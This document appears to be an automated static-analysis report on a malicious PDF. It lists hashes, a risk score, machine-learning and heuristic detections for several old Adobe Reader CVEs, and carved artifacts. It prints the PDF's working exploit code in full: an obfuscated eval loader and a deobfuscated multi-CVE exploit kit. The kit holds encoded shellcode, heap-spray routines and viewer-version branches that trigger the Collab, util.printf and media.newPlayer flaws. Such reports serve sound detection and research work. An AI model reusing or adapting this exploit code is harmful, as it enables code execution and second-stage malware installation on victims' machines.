Malicious PDF — malware analysis report

Static analysis result for SHA-256 b1d64674bdde4a52…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-09
MD5: ecee8049f164aa9bc412f15172d0b54c SHA-1: a879b2a3c7621d95ab44744acba9e56977fc59be SHA-256: b1d64674bdde4a52c14d1e23e99bfb02b745a48ac781702b10640172234f5465
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics including a high-severity ML classifier. The JavaScript is likely intended to download and execute a second-stage payload, a common technique for initial access. No specific family could be identified from the available evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFC6 458 bytes
SHA-256: 44964e8532038e550ee8f38fbb6b3686458967704edc023a9c1066bf01bedda3
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
ikhxv='';
vdver=('qwrwqr','tit');
e('ybwxo=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
ypovr=e('String.fro'+ybwxo.substr(0,9));
ebpiz = e(ybwxo.substr(9)['replace'](/u/g,','));
e('k=ebpiz.length');
for (i = 0; i < k; i+=2) {
	twgz = ebpiz[i+1] + ('erybjkerl',ebpiz[i]);
	ikhxv += ypovr(twgz);
}
e(ikhxv);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: 4f7f1b0e970ea22205e57368c07f0c079b4238ffe6975e087320a7c90b3d487a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u3334%ue2aa%uc3fa%ue5e8%uffff%udaff%u323f%u3333%ub26d%u6fdf%u3332%uba33%ubed4%u237c%u5cbe%u0267%u64e8%u6062%u6060%u6060%u6060%u6066%u5b60%u3237%u3333%u6566%u5b60%u5d5c%u3333%u465b%u5f41%u675e%ubd5b%u3d7d%udbdf%u337b%u3333%udb63%u334f%u3333%ue3cc%uf7b0%u5b3b%udc7c%u367c%udb63%u335f%u3333%ue3cc%uf3b6%u2446%u6759%uc06a%u5b99%ucd41%u2580%u2edb%u3333%u6333%u62db%u3333%ucc33%u60e3%ucd59%uba5b%u325c%udb8e%u333b%u3333%udb63%u330f%u3333%ue3cc%u0253%u57f3%u63b8%ub803%u3f61%u61b8%ub827%u1b41%u2b8a%u3333%u0233%u02cc%u9ff3%u520f%u314f%u131f%ufcf2%u323e%ud1f4%ub2c3%u68cc%u798f%ub859%u2371%u21b8%uea46%u77ba%u2f17%uf052%ub853%u175f%ub817%u0f76%u67b8%u4b36%ud932%u79b8%ub82b%u1369%ud832%u07d0%ub87a%ub807%udd32%ucc02%uf302%u9fcf%uf3b7%u3447%ufcf2%u323e%ud8f4%u08c7%u174f%u461b%ub8d2%u1769%ud832%ub855%u783f%u69b8%u322f%ub8d8%ub837%udb32%u77ba%u2f17%uf152%u333b%udcdb%ucccd%u5bcc%u4747%u0943%u1c1c%u0402%u1d0b%u0b02%u011d%u0007%u011d%u0101%u571c%u431d%u435b%u550c%u040e%u1506%u0e56%u3306';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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